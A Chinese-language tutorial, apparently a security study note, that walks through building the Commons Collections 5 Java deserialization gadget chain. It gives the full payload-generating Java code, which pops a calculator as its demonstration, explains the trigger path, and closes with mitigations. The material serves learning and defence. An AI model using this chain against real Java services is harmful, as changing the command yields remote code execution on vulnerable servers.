java反序列化学习记录-Common Collections 5
字数 930 2025-08-20 18:18:04

Java反序列化漏洞学习 - Commons Collections 5 利用分析

环境搭建

  1. 使用Maven创建项目并添加依赖:
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>
  1. 基础测试代码框架:
package payload;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class CommonsCollections5 {
    public static void main(String[] args) {
        deserialize();
    }
    
    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Java执行系统命令的基础知识

Runtime模块执行命令

String[] cmd = {"/bin/sh","-c","curl localhost:9999"};
Process proc = Runtime.getRuntime().exec(cmd);

反射基础使用

// 普通反射调用
Method method = Animal.class.getDeclaredMethod("print");
Animal aa = new Animal();
method.invoke(aa);

// 反射调用Runtime执行命令
Runtime runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method method = cls.getMethod("exec", String.class);
method.invoke(runtime, "gnome-calculator");

// 两次反射调用
Object runtime = Class.forName("java.lang.Runtime")
    .getMethod("getRuntime", new Class[]{})
    .invoke(null);
Class.forName("java.lang.Runtime")
    .getMethod("exec", String.class)
    .invoke(runtime, "gnome-calendar");

Payload构造原理

关键类分析

  1. InvokerTransformer:
public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException(...);
        } catch (IllegalAccessException var6) {
            throw new FunctorException(...);
        } catch (InvocationTargetException var7) {
            throw new FunctorException(...);
        }
    }
}
  1. ChainedTransformer:
public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}
  1. LazyMap:
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}
  1. TiedMapEntry:
public Object getValue() {
    return this.map.get(this.key);
}

public String toString() {
    return this.getKey() + "=" + this.getValue();
}
  1. BadAttributeValueExpException:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);
    // ...
    val = valObj.toString(); // 会触发toString()调用
}

完整利用链构造

  1. 构造Transformer链:
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new String[]{"gnome-calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
  1. 构造LazyMap:
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
  1. 构造TiedMapEntry:
TiedMapEntry entry = new TiedMapEntry(lazyMap, null);
  1. 构造BadAttributeValueExpException:
BadAttributeValueExpException badAttributeValueExpException = 
    new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);

完整Payload代码

package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class buildser {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", 
                    new Class[]{String.class, Class[].class}, 
                    new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", 
                    new Class[]{Object.class,Object[].class}, 
                    new Object[]{null,null}),
                new InvokerTransformer("exec", 
                    new Class[]{String.class}, 
                    new String[]{"gnome-calculator"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap,null);
        BadAttributeValueExpException badAttributeValueExpException = 
            new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,entry);
        serialize(badAttributeValueExpException);
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

利用流程总结

  1. 序列化流程:

    • 构造Transformer链执行命令
    • 将Transformer链放入LazyMap
    • 将LazyMap放入TiedMapEntry
    • 将TiedMapEntry放入BadAttributeValueExpException
    • 序列化BadAttributeValueExpException对象
  2. 反序列化触发流程:

    • 反序列化时调用BadAttributeValueExpException.readObject()
    • readObject()调用val.toString()
    • toString()调用TiedMapEntry.getValue()
    • getValue()调用LazyMap.get()
    • get()调用factory.transform()即ChainedTransformer.transform()
    • ChainedTransformer依次执行各个Transformer的transform()
    • 最终通过反射链执行系统命令

防御建议

  1. 升级Commons Collections到安全版本(3.2.2+)
  2. 使用Java反序列化过滤器
  3. 对反序列化操作进行严格限制
  4. 使用白名单机制控制可反序列化的类

扩展学习

  1. 其他Commons Collections利用链(CC1, CC2等)
  2. Fastjson反序列化漏洞
  3. WebLogic CVE-2020-2555/2551漏洞分析
Java反序列化漏洞学习 - Commons Collections 5 利用分析 环境搭建 使用Maven创建项目并添加依赖: 基础测试代码框架: Java执行系统命令的基础知识 Runtime模块执行命令 反射基础使用 Payload构造原理 关键类分析 InvokerTransformer : ChainedTransformer : LazyMap : TiedMapEntry : BadAttributeValueExpException : 完整利用链构造 构造Transformer链: 构造LazyMap: 构造TiedMapEntry: 构造BadAttributeValueExpException: 完整Payload代码 利用流程总结 序列化流程 : 构造Transformer链执行命令 将Transformer链放入LazyMap 将LazyMap放入TiedMapEntry 将TiedMapEntry放入BadAttributeValueExpException 序列化BadAttributeValueExpException对象 反序列化触发流程 : 反序列化时调用BadAttributeValueExpException.readObject() readObject()调用val.toString() toString()调用TiedMapEntry.getValue() getValue()调用LazyMap.get() get()调用factory.transform()即ChainedTransformer.transform() ChainedTransformer依次执行各个Transformer的transform() 最终通过反射链执行系统命令 防御建议 升级Commons Collections到安全版本(3.2.2+) 使用Java反序列化过滤器 对反序列化操作进行严格限制 使用白名单机制控制可反序列化的类 扩展学习 其他Commons Collections利用链(CC1, CC2等) Fastjson反序列化漏洞 WebLogic CVE-2020-2555/2551漏洞分析